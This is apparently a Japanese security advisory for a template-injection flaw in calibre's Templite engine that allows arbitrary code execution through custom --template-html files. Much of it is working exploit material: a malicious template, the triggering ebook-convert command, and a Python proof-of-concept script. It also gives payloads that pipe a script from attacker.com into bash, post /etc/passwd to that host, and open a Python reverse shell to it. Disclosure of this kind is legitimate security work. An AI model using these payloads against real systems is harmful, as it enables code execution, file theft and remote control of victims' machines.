深刻度: 高(CVSS 7.8)
影響を受けるソフトウェア: calibre <= 9.1.0
パッチ適用バージョン: 9.2.0
アドバイザリ: GHSA-xrh9-w7qx-3gcc
CalibreのTempliteテンプレートエンジンにおけるサーバーサイドテンプレートインジェクション(SSTI)の脆弱性により、ユーザーが--template-htmlまたは--template-html-indexコマンドラインオプションを介して悪意のあるカスタムテンプレートファイルを使用して電子書籍を変換すると、任意のコード実行が可能になります。
Templiteエンジン(src/templite/__init__.py)は、Pythonのcompile()およびeval()関数を使用してテンプレートをコンパイルおよび評価しますが、サンドボックス化は一切行われていません:
src/templite/__init__.pyの脆弱なコード:
# 72行目: テンプレートがPythonコードにコンパイルされる
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# 90行目: コンパイルされたコードがeval()を介して実行される
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # 任意のコード実行
src/calibre/ebooks/conversion/plugins/html_output.pyの攻撃ベクトル:
# 96-98行目: ユーザー指定のテンプレートファイルが読み込まれる
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# 136行目: テンプレートが脆弱なTempliteエンジンに渡される
templite = Templite(template_html_index_data)
同じパターンが--template-htmlオプション(102-106行目、200行目)にも存在します。
以下をmalicious_template.tmplとして保存します:
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTIペイロードが任意のコマンドを実行する -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# 悪意のあるテンプレートを使用して任意の電子書籍を変換する
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# 出力: uid=501(username) gid=20(staff) groups=...
# コマンド実行
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# ファイル窃取
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# リバースシェル
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# コマンド実行
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render()) # 現在のユーザー名を表示
# ファイル読み取り
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render()) # /etc/passwdの最初の行を表示
影響を受けるユーザー:
攻撃シナリオ:
ebook-convert book.epub out.zip --template-html=template.tmpl